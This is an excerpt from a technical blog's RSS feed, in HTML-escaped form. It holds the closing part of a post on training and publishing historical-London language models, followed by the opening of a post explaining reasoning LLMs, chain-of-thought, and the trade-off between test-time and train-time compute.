&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 10_scripts/publish_to_huggingface.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 14: Publish Regular Model to Hugging Face&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If everything is working correctly and the models are published, you will see confirmation messages and upload progress. Here&amp;rsquo;s what successful publishing looks like:&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/hf05.png&#34; alt=&#34;HF - SLM upload&#34; title=&#34;HF - SLM upload&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 13:&lt;/strong&gt; Hugging Face SLM model upload progress and confirmation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 13:&lt;/strong&gt; Hugging Face upload process for SLM model showing successful publishing workflow&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;And this is an example output for the Regular model:&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/hf06-regular-model.png&#34; alt=&#34;HF - Regular model upload&#34; title=&#34;HF - Regular model upload&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 14:&lt;/strong&gt; Hugging Face Regular model upload progress and confirmation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 14:&lt;/strong&gt; Hugging Face upload process for Regular model showing successful publishing workflow&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;After Publishing:&lt;/strong&gt;
Once published, your models will be available at:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SLM&lt;/strong&gt;: &lt;code&gt;bahree/london-historical-slm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regular Model&lt;/strong&gt;: &lt;code&gt;bahree/london-historical-llm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Users can then easily load and use your models with just a few lines of code, making your historical language models accessible to the broader AI community for research, education, and creative applications.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Testing Your Published Models:&lt;/strong&gt;
Once published, you can test your models using the same inference methods shown in the Quick Start section:&lt;/p&gt;
&lt;figure id=&#34;listing15&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test published SLM model (10 automated tests)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/test_published_models.py --model_type slm
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Interactive testing with published models&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type slm --interactive&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 15: Test Published Models&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;10-what-weve-accomplished&#34;&gt;10. What We&amp;rsquo;ve Accomplished&lt;/h2&gt;
&lt;p&gt;This comprehensive guide has taken you from raw historical documents to working language models that can generate authentic 18th and 19th-century London text. We&amp;rsquo;ve built a complete pipeline that transforms 218+ historical sources into two specialized models - a fast SLM for experimentation and a powerful Regular model for high-quality generation. The entire system is fully functional, with both PyTorch checkpoint inference and Hugging Face model publishing working seamlessly, tested and validated on real hardware.&lt;/p&gt;
&lt;p&gt;What makes this project interesting is that it&amp;rsquo;s not just another language model - it&amp;rsquo;s a complete educational journey that teaches you every aspect of building LLMs from scratch. From custom historical tokenizers that understand archaic English to sophisticated GPU optimization and deployment, you&amp;rsquo;ve learned the full stack of modern language model development. The result is a system that preserves historical linguistic heritage while demonstrating cutting-edge AI techniques, making it valuable for researchers, educators, and anyone interested in the intersection of history and technology.&lt;/p&gt;
&lt;h2 id=&#34;11-the-journey-continues&#34;&gt;11. The Journey Continues&lt;/h2&gt;
&lt;p&gt;This is just the beginning. In the next three parts of this series, we&amp;rsquo;ll dive deeper into the technical foundations:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt; explores historical data collection, showing how we curated 218+ authentic sources spanning 350 years of London&amp;rsquo;s history, and how we built a custom tokenizer that truly understands historical English.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt; reveals the custom GPT architecture designed specifically for historical text, GPU optimization strategies, and training infrastructure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt; completes the journey with evaluation frameworks, testing strategies, and deployment techniques that transform your trained models into working systems.&lt;/p&gt;
&lt;p&gt;Each part builds on what you&amp;rsquo;ve learned here, taking you from high-level overview to deep technical implementation details.&lt;/p&gt;
&lt;h2 id=&#34;12-resources&#34;&gt;12. Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;:⚙️&lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete codebase with all training scripts, inference tools, and documentation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hugging Face Models&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;🤗 &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-slm
	&lt;/span&gt;
&lt;/a&gt; - Small Language Model (117M parameters)&lt;/li&gt;
&lt;li&gt;🤗 &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-llm
	&lt;/span&gt;
&lt;/a&gt; - Regular Model (354M parameters)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;📘&lt;strong&gt;Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/ffzkJ7T&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts&lt;/li&gt;
&lt;li&gt;📖&lt;strong&gt;Documentation&lt;/strong&gt;: Complete guides in the &lt;code&gt;08_documentation/&lt;/code&gt; folder covering every aspect of the project&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;13-acknowledgments&#34;&gt;13. Acknowledgments&lt;/h2&gt;
&lt;p&gt;This project builds upon the excellent work of the open-source community. Special thanks to &lt;a
	
		href = &#34;https://github.com/haykgrigo3/TimeCapsuleLLM&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		haykgrigo3&amp;rsquo;s TimeCapsuleLLM
	&lt;/span&gt;
&lt;/a&gt; for the initial inspiration and framework for historical language model training, and to &lt;a
	
		href = &#34;https://github.com/karpathy/nanoGPT&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Andrej Karpathy&amp;rsquo;s nanoGPT
	&lt;/span&gt;
&lt;/a&gt; for the foundational GPT architecture and training methodology. The project extends these foundations with specialized adaptations for historical text, including custom tokenizers, advanced data filtering, and educational deployment infrastructure.&lt;/p&gt;
&lt;p&gt;🙏&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Ready to dive deeper?&lt;/strong&gt; &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 2: Data Collection &amp;amp; Custom Tokenizers
	&lt;/span&gt;
&lt;/a&gt; covers the technical details of data collection, cleaning pipelines, and custom tokenizer development for authentic historical text processing.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Reasoning AI Models: An overview</title>
      <link>/post/2025/09/reasoning-ai-models-a-deep-dive/</link>
      <pubDate>Mon, 01 Sep 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/09/reasoning-ai-models-a-deep-dive/</guid>
      <description>&lt;h4 id=&#34;tldr&#34;&gt;TL;DR&lt;/h4&gt;
&lt;p&gt;As part of my role at Microsoft&amp;rsquo;s AI Foundry Applied AI engineering team in CoreAI, I have participated in numerous detailed discussions about the evolving landscape of AI models. In conversations with many customers, from CxOs to engineers, one recurring topic is the &lt;strong&gt;rise of reasoning AI models&lt;/strong&gt;. These models are designed to perform complex tasks by explicitly breaking down problems into logical steps, rather than just generating text in a single pass like traditional large language models (LLMs). This shift toward &lt;em&gt;reasoning-centric&lt;/em&gt; AI marks a major evolution in how we develop and deploy AI systems—and it’s a key factor behind the rise of Agents and Agentic AI.&lt;/p&gt;
&lt;p&gt;At the same time, there is a lot of confusion about what these reasoning models are, how they differ from traditional LLMs, and how to effectively adapt and evaluate them. In this post, I aim to clarify these concepts by providing a technical deep dive into reasoning AI models, their training and adaptation processes, and the challenges involved in fine-tuning them for specific tasks. We will also explore how to evaluate these models effectively, considering their unique characteristics.&lt;/p&gt;
&lt;p&gt;This post is intended to help one gain a deeper understanding of reasoning models and their implications; I cover these areas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What are reasoning AI models?&lt;/strong&gt; A technical overview of their architecture and training paradigms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How do they differ from traditional LLMs?&lt;/strong&gt; Key distinctions in capabilities and performance&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to adapt and fine-tune reasoning models?&lt;/strong&gt; Best practices and common pitfalls&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What are the challenges in customizing them?&lt;/strong&gt; Technical and organizational hurdles&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to evaluate reasoning models?&lt;/strong&gt; Metrics and strategies for assessing their performance&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;1-introduction&#34;&gt;1. Introduction&lt;/h2&gt;
&lt;p&gt;Recent AI models have begun to combine language generation with explicit reasoning, enabling more reliable solutions to complex problems. Traditional LLMs like GPT-4o complete a generation in one go, without showing their work. Reasoning models, on the other hand, produce a sequence of intermediate steps (a “reasoning trace”) before the final generation. For example, Microsoft’s Phi-4-Reasoning (14B parameters) will explicitly work through a math problem step-by-step, whereas a regular LLM might confidently state an answer with no explanation. This fundamental difference – &lt;strong&gt;predictive text generation vs. chained logical reasoning&lt;/strong&gt; – makes reasoning LLMs significantly better at multi-step tasks, such as math word problems, code debugging, or complex decision queries.&lt;/p&gt;
&lt;p&gt;Note: The AI model landscape is also shifting rapidly, with a newer trend of transitioning from separate “base” vs. “reasoning” models (e.g., o1/o3) to unified systems with internal routing (e.g., GPT-5). GPT 5 runs a system that routes between fast and deliberate paths and exposes developer controls to tune thinking time. In production, the system automatically switches modes; developers can cap or elevate effort as needed. This operationalizes dynamic compute allocation, reducing the need for prompt engineering, specifically when wanting to induce reasoning.&lt;/p&gt;
&lt;p&gt;The shift toward unified systems like GPT-5 can be understood as operationalizing the compute-optimal scaling insights from research. Rather than requiring users to choose between reasoning modes manually, these systems implement automatic difficulty assessment and adaptive compute allocation - essentially embedding the &amp;ldquo;compute-optimal&amp;rdquo; strategy within the model architecture itself.&lt;/p&gt;
&lt;h3 id=&#34;11-what-are-reasoning-models&#34;&gt;1.1 What are reasoning models?&lt;/h3&gt;
&lt;p&gt;Reasoning models are LLMs architected to solve problems via a multi-step chain-of-thought (CoT) approach. Instead of just predicting the next token, they simulate an internal “scratchpad” of logic. For instance, OpenAI’s latest models (&lt;em&gt;o1&lt;/em&gt; and &lt;em&gt;o3&lt;/em&gt;) reportedly allocate extra computation at inference-time and use &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/01/intro-to-reinforcement-learning/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		reinforcement learning (RL)
	&lt;/span&gt;
&lt;/a&gt; fine-tuning to boost multi-step reasoning. DeepSeek’s R1 (671B-parameter &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/01/intro-to-mixture-of-experts/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mixture-of-Experts model
	&lt;/span&gt;
&lt;/a&gt;) was explicitly trained with multi-stage reinforcement learning to encourage step-by-step thinking.&lt;/p&gt;
&lt;p&gt;During training, such models may be given examples formatted like: &lt;code&gt;*Question → (Begin reasoning) → ... reasoning steps ... → (Final answer)*&lt;/code&gt;, or prompted with cues like &lt;em&gt;“Let’s think step by step.”&lt;/em&gt; This teaches the model to &lt;strong&gt;articulate intermediate steps&lt;/strong&gt; instead of jumping straight to an answer. In essence, a reasoning LLM &lt;strong&gt;learns to internalize a logical process&lt;/strong&gt; – it doesn’t just know facts or language, it learns how to solve problems by breaking them down.&lt;/p&gt;
&lt;p&gt;Crucially, these reasoning models often use special tokens to separate the “thinking” from the final answer. Many use a convention such as &lt;code&gt;&amp;lt;think&amp;gt; ... &amp;lt;/think&amp;gt;&lt;/code&gt; tags to enclose the chain of thought. For example, &lt;strong&gt;DeepSeek-R1-Distill&lt;/strong&gt; (a distilled 8B version of R1) will output a hidden “thinking” transcript between these tags, followed by a concise answer that summarizes the reasoning. The chain-of-thought (CoT) might include equations, logic, or code, which the model generates as if working on scratch paper, and then the answer is given separately. This behavior is usually built into the model through fine-tuning – if you prompt such a model normally, it will, by default, produce a step-by-step solution trace and then provide the answer.&lt;/p&gt;
&lt;p&gt;Some recent systems even let developers toggle the visibility of this trace: e.g., Qwen-3 allows a “reasoning mode” where the chain of thought is shown or hidden as needed. The key point is that reasoning models carry out more computation in the open, and they may consume more tokens. It is quite common for them to use hundreds or thousands of tokens for a complex solution, whereas a regular LLM might try to produce an answer in, say, a single paragraph.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1-deepseek-moe-architecture.png&#34; alt=&#34;DeepSeek-R1 MoE architecture&#34;/&gt;
        &lt;figcaption&gt;Figure 1: DeepSeek-R1 architecture showing Mixture-of-Experts design with selective parameter activation (21B of 671B parameters active per token) and 128K token context window. (Source: DeepSeek research)&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;12-cognitive-architecture-parallels---type-1-and-type-2-thinking&#34;&gt;1.2 Cognitive Architecture Parallels - Type 1 and Type 2 Thinking&lt;/h3&gt;
&lt;p&gt;The reasoning model paradigm directly parallels the Type 1/Type 2 thinking framework popularized by &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Daniel Kahneman
	&lt;/span&gt;
&lt;/a&gt;. Some of the recent work demonstrating how LLMs can be aligned to either System 1 (intuitive and fast) or System 2 (analytical and deliberate) thinking patterns.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Type 1&lt;/em&gt; thinking in AI systems corresponds to the pattern-matching and intuitive responses characteristic of traditional LLMs - fast, automatic responses based on learned patterns. &lt;strong&gt;Type 2&lt;/strong&gt; thinking represents the deliberate, step-by-step reasoning that reasoning models are designed to emulate. Research shows that System 2-aligned models excel in arithmetic and symbolic reasoning, while System 1-aligned models perform better in commonsense tasks.&lt;/p&gt;
&lt;h4 id=&#34;cognitive-flexibility-and-performance-trade-offs&#34;&gt;Cognitive Flexibility and Performance Trade-offs&lt;/h4&gt;
&lt;p&gt;Unlike human cognition, which fluidly adapts between System 1 and System 2 thinking based on context, current LLMs lack this dynamic flexibility. This rigidity can lead to brittle performance when tasks deviate from trained patterns. However, reasoning models attempt to address this limitation by incorporating explicit System 2-style processing.&lt;/p&gt;
&lt;p&gt;The research demonstrates an &amp;ldquo;accuracy-efficiency trade-off&amp;rdquo; where System 2-aligned models show greater uncertainty and more systematic processing, while System 1-aligned models provide more definitive but potentially less reliable answers. This suggests that optimal AI systems may need to switch between reasoning modes dynamically based on task complexity.&lt;/p&gt;
&lt;p&gt;From an architectural perspective, reasoning LLMs are still transformer-based neural networks at their core. They don’t necessarily have new algorithmic components beyond the training tweaks, though some research explores adding tools or memory. It’s the &lt;strong&gt;training paradigm&lt;/strong&gt; that sets them apart.&lt;/p&gt;
&lt;p&gt;For example, where a classic 4o/4.1 style LLM is trained purely on next word prediction and maybe a bit of instruction tuning, a reasoning model like R1 or Phi 4 is trained in an extensive multi stage training pipeline (e.g. supervised fine tuning on curated CoT examples), then specialized reinforcement learning (using rewards for getting answers right and for producing a consistent chain of thought), and so on. OpenAI’s o1/o3 models are rumored to undergo similar multi-stage refinement, combining RL with the ability to allocate more thinking steps at runtime.&lt;/p&gt;
&lt;h3 id=&#34;13-chain-of-thought-built-in-vs-prompted&#34;&gt;1.3 Chain-of-Thought: Built-in vs Prompted&lt;/h3&gt;
&lt;p&gt;Start by understanding what a chain of thought (CoT) is. CoT is the model’s “scratchpad”: a sequence of intermediate reasoning steps it writes out before giving the final answer. Many models fence this trace with special tokens (e.g., &lt;code&gt;&amp;lt;think&amp;gt; ... &amp;lt;/think&amp;gt;&lt;/code&gt;); there are configurations that can show or hide these. The advantage this gives us is better results on multi-step tasks (such as math, code, and planning) by decomposing problems. On the other hand, the trade-offs include more tokens → more cost/latency; and traces can be verbose or unfaithful if not evaluated. As a result, CoT is best used for complex queries, and where possible, it would be wise to consider either skipping or limiting these for simple lookups. See “Evaluation” for token-normalized accuracy and faithfulness checks.&lt;/p&gt;
&lt;p&gt;CoT prompting emerged as a technique to enhance traditional LLMs by explicitly requesting step-by-step reasoning through prompts such as &amp;ldquo;Describe your reasoning in steps&amp;rdquo; or &amp;ldquo;Explain your answer step by step.&amp;rdquo; This approach leverages LLMs&amp;rsquo; ability to &amp;ldquo;think out loud&amp;rdquo; in natural language, with effectiveness scaling with model size as an emergent ability.&lt;/p&gt;
&lt;p&gt;Figure 2 shows an LLM decomposing a complex math word problem into sequential subquestions, solving each step before arriving at the final answer. (Credit: Chain-of-Thought Prompting Elicits Reasoning in Large Language Models)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/2-CoT-reasoning-process.jpg&#34; alt=&#34;CoT reasoning example&#34;/&gt;
        &lt;figcaption&gt;Figure 2: CoT reasoning example&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Reasoning models fundamentally differ in that they integrate CoT processing directly into their architecture and training process. Rather than requiring explicit prompting, these models automatically engage in step-by-step reasoning for complex tasks. Research indicates that &amp;ldquo;Chain-of-Thought built into the core architecture and training process&amp;rdquo; represents a more robust approach than external prompting.&lt;/p&gt;
&lt;p&gt;However, CoT prompting is not universally effective across all models and tasks. Recent research on strategic reasoning has shown that CoT prompting is not universally effective, as it increases strategic reasoning only for models at certain levels, while providing limited gains elsewhere. This suggests that integrating reasoning capabilities requires careful architectural considerations beyond simple prompting strategies.&lt;/p&gt;
&lt;p&gt;The effectiveness of CoT in reasoning models also varies by task complexity and domain. Models trained with reinforcement learning on reasoning tasks show more consistent application of multi-step reasoning compared to models relying solely on prompted CoT.&lt;/p&gt;
&lt;h3 id=&#34;14-test-time-vs-train-time-compute&#34;&gt;1.4 Test-Time vs Train-Time Compute&lt;/h3&gt;
&lt;p&gt;A critical innovation in reasoning models is the emphasis on test-time compute scaling. While their training parameters limit traditional LLMs, reasoning models can allocate variable computational resources during inference. OpenAI reports that the performance of &lt;strong&gt;o1&lt;/strong&gt; improves with more RL (train-time compute) and with more time spent thinking (test-time compute) (&lt;a
	
		href = &#34;https://openai.com/index/learning-to-reason-with-llms/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		overview
	&lt;/span&gt;
&lt;/a&gt;). This creates new scaling paradigms, where models can allocate more computational resources to harder problems during inference.&lt;/p&gt;
&lt;p&gt;This &lt;strong&gt;inference-time compute scaling&lt;/strong&gt; (using more tokens/steps) is a defining trait – it enables even smaller models to solve hard problems by iterating through reasoning. As Microsoft’s team describes, “Phi 4 Reasoning generates detailed reasoning chains that effectively leverage additional inference time compute,” allowing a 14B model to compete with far larger ones.&lt;/p&gt;
&lt;p&gt;Because this extra “thinking” consumes tokens and compute, it helps to formalize the tradeoff to understand the concept better.&lt;/p&gt;
&lt;p&gt;Test-time compute is best understood as a way to reshape the model’s output distribution at inference by searching over alternative reasoning paths and then selecting among them. It reliably lifts accuracy—especially on problems with verifiable answers—yet it is not interchangeable with pretraining compute.&lt;/p&gt;
&lt;p&gt;Recent evidence shows that test-time compute helps most when the base model is already capable and the gap to the target difficulty is modest; on the hardest items, pretraining capacity still dominates - as outlined in Figure 3 below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-test-time-vs-train-time-compute-trade-off.png&#34; alt=&#34;Relationship between test-time and train-time compute in reasoning models&#34;/&gt;
        &lt;figcaption&gt;Figure 3: The relationship between test-time and train-time compute in reasoning models, showing how additional inference computation can compensate for reduced training compute. (Source: Snell et al., 2024)&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;A practical rule is to treat thinking tokens as a budgeted resource: use them to explore and score candidate chains (branching) and reserve a small budget for targeted revision when a verifier flags issues. In cost terms, this gives you predictable returns without pretending that more inference tokens can fully substitute for more capable pretraining.&lt;/p&gt;
&lt;h4 id=&#34;test-time-compute-vs-model-size-trade-offs&#34;&gt;Test-Time Compute vs Model Size Trade-offs&lt;/h4&gt;
&lt;p&gt;A groundbreaking finding from recent research is that on problems where smaller models achieve non-trivial success rates, &lt;strong&gt;test-time compute can be used to outperform models 14× larger&lt;/strong&gt; in FLOP-matched evaluations. This suggests a fundamental shift in how we think about compute allocation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Easy to medium problems&lt;/strong&gt;: Test-time compute is often more effective than pretraining larger models&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Very hard problems&lt;/strong&gt;: Pretraining capacity still dominates, with limited benefits from test-time scaling&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Practical implication&lt;/strong&gt;: Rather than focusing purely on scaling pretraining, it may be more efficient to train smaller models and apply test-time compute strategically&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;efficiency-trade-off-how-much-thinking-is-enough&#34;&gt;Efficiency trade-off: How much “thinking” is enough?&lt;/h4&gt;
&lt;p&gt;OpenAI’s &lt;strong&gt;o1&lt;/strong&gt; explicitly reports: performance improves with more RL (&lt;em&gt;train-time&lt;/em&gt; compute) and with more time spent thinking (&lt;em&gt;test-time&lt;/em&gt; compute). Microsoft’s Phi-4 Reasoning (14B) shows similar patterns: small models, when allowed longer structured chains, outperform their weight in math/science. To examine the implications, consider a back-of-the-envelope cost model. If $L_r$ is “reasoning” length and $L_a$ is final answer length, a crude attention-heavy cost proxy is&lt;/p&gt;
&lt;p&gt;$$
\text{Compute} ;\propto; H,(L_a + L_r)^2,d,
$$&lt;/p&gt;
&lt;p&gt;with hidden size $H$ and depth $d$. You can wrap this into an objective that matches your reality:&lt;/p&gt;
&lt;p&gt;$$
\min_{L_r}; C(L_r) = \alpha,H,(L_a+L_r)^2,d ;+; \beta,\text{latency}(L_r) ;-; \gamma,\text{Acc}(L_r),
$$&lt;/p&gt;
&lt;p&gt;where $\alpha,\beta,\gamma&amp;gt;0$ are your infra cost, SLA pain, and value of accuracy. You won’t solve this analytically in prod—you’ll &lt;strong&gt;sweep the thinking budget&lt;/strong&gt; and pick a knee point.&lt;/p&gt;
&lt;p&gt;What is really interesting is that accuracy is typically concave in $(L_r)$; i.e, the first ~100–300 “thinking” tokens help a lot; beyond that, &lt;strong&gt;diminishing returns&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Quick intuition: if $L_a$ is small and $L_r$ doubles, the attention term grows by about $4\times$, while accuracy typically improves far less—hence token budgets and early stop heuristics. We’ll revisit this idea in &lt;a
	
		href = &#34;#evaluation-strategies-for-reasoning-models&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Evaluation
	&lt;/span&gt;
&lt;/a&gt; via token-normalized accuracy.&lt;/p&gt;
&lt;p&gt;This trade-off also motivates practical features, such as token budgets, early-stop heuristics, and “fast vs. deliberative” paths (e.g., Qwen-3’s reasoning mode). With that lens, let’s look at what differs under the hood.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More deliberate thinking often helps—up to a point - You can trade thinking tokens for accuracy on complex items.&lt;/li&gt;
&lt;li&gt;Returns diminish - the first ~100–300 “reasoning” tokens carry a lot of the lift; beyond that, you’re paying for a long tail.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb.&lt;/strong&gt; Treat “thinking tokens” as a first-class budget; &lt;strong&gt;log it&lt;/strong&gt;, control it, and optimize it like you optimize memory or p95 latency. Some model providers like Qwen 3 and NVIDIA’s NIM expose this &lt;em&gt;thinking budget&lt;/em&gt; directly.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;In short, reasoning LLMs are &lt;strong&gt;LLMs with a logic upgrade&lt;/strong&gt; – through additional training, they learn to use reasoning strategies that standard models lack.&lt;/p&gt;
&lt;h3 id=&#34;15-effectiveness-and-limitations-of-reasoning-llms&#34;&gt;1.5 Effectiveness and Limitations of Reasoning LLMs&lt;/h3&gt;
&lt;p&gt;Recent benchmarks indicate that CoT reasoning yields significantly improved performance on complex tasks (see Figure 4 below). For example, Microsoft’s Phi-4-Reasoning models, with only 14B parameters, match or surpass much larger models in math and science benchmarks—sometimes even outperforming a model 5x times their size (surpassing OpenAI’s o1-mini, and R1&amp;rsquo;s 70B distilled version on many math and science benchmarks). This success is attributed to reasoning-focused training and reinforcement learning, proving that with strategic training, smaller models can excel at challenging tasks without needing massive scale. This demonstrates a general trend: &lt;em&gt;with the right training, a model doesn’t have to be huge to solve complex tasks – it just needs to learn how to use its capacity more algorithmically.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/4-AIME-performance-scaling.png&#34; alt=&#34;Performance scaling on AIME mathematics benchmark&#34;/&gt;
        &lt;figcaption&gt;Figure 4: Performance scaling on AIME mathematics benchmark: Both train-time compute (left) and test-time compute (right) show smooth accuracy improvements, validating the compute-optimal scaling approach. (Source: OpenAI research)&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Another data point is the DeepSeek R1 family. The original R1 (671B, MoE) was a “reasoning-maximal” model (see Figure 1), pushed to an extreme scale and trained with novel RL algorithms (such as GRPO, a group-based self-improvement method) to excel at long-horizon problems. Distilled smaller versions of R1 (70B, 8B, etc.) inherited some of these skills through knowledge distillation. These distilled reasoning models, even at 8B, achieved math and puzzle-solving scores significantly higher than those of similarly sized generic LLMs. Open-source efforts like &lt;em&gt;Bespoke-Stratos-7B&lt;/em&gt; and &lt;em&gt;OpenThinker-7B&lt;/em&gt; followed suit, demonstrating that a properly fine-tuned 7B model with CoT can outperform naive 7Bs by significant margins on benchmarks. In research from late 2024, Qwen-3 (an advanced open model by Alibaba) was released in both “thinking mode” and “no thinking” mode. Running Qwen-3 in its CoT mode, it actually &lt;strong&gt;outperformed DeepSeek-R1 on a majority of evaluated tasks&lt;/strong&gt; despite activating only a subset of its parameters at each token (it’s a mixture-of-experts model, effectively).&lt;/p&gt;
